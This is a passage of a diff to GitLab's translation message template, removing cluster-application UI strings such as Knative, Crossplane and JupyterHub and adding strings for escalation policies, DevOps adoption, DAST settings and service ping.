-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6964,15 +6982,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6985,9 +6994,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7009,9 +7015,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7030,15 +7033,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7060,9 +7054,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7075,15 +7066,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7105,15 +7093,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7162,12 +7141,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7183,9 +7156,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7201,9 +7171,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7246,27 +7213,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7294,9 +7246,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7306,18 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7339,39 +7276,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7405,9 +7312,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7456,12 +7360,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7504,9 +7402,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7516,15 +7411,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7561,24 +7447,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7591,9 +7459,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7642,15 +7507,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7675,9 +7534,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7696,27 +7552,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7726,24 +7567,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7774,9 +7597,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7798,21 +7618,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7837,27 +7645,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7873,12 +7666,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -7951,6 +7738,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7966,9 +7756,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8265,9 +8061,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8304,9 +8097,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8325,42 +8115,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8379,6 +8136,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8629,6 +8389,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8982,7 +8745,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9021,6 +8784,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9087,6 +8853,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9327,9 +9096,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9456,9 +9222,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9690,6 +9453,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9699,9 +9468,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9717,9 +9483,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9795,6 +9558,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10012,9 +9778,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10081,6 +9844,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10440,9 +10215,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10467,6 +10239,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10500,7 +10275,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10620,6 +10395,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11291,12 +11069,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11354,7 +11150,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11366,21 +11162,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11414,6 +11213,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11435,6 +11237,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11453,15 +11258,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11647,7 +11449,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11698,7 +11500,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11707,6 +11509,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -11923,9 +11728,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -11959,9 +11761,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12022,6 +11821,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12151,6 +11953,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12160,13 +11965,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12247,13 +12055,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12271,6 +12076,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12286,9 +12094,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12298,9 +12103,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12430,6 +12232,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12595,9 +12400,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13078,7 +12880,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13087,30 +12889,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13120,6 +12946,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13156,9 +12991,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13302,7 +13134,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13323,9 +13155,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13422,9 +13251,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13443,9 +13269,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13731,9 +13554,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13763,9 +13583,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
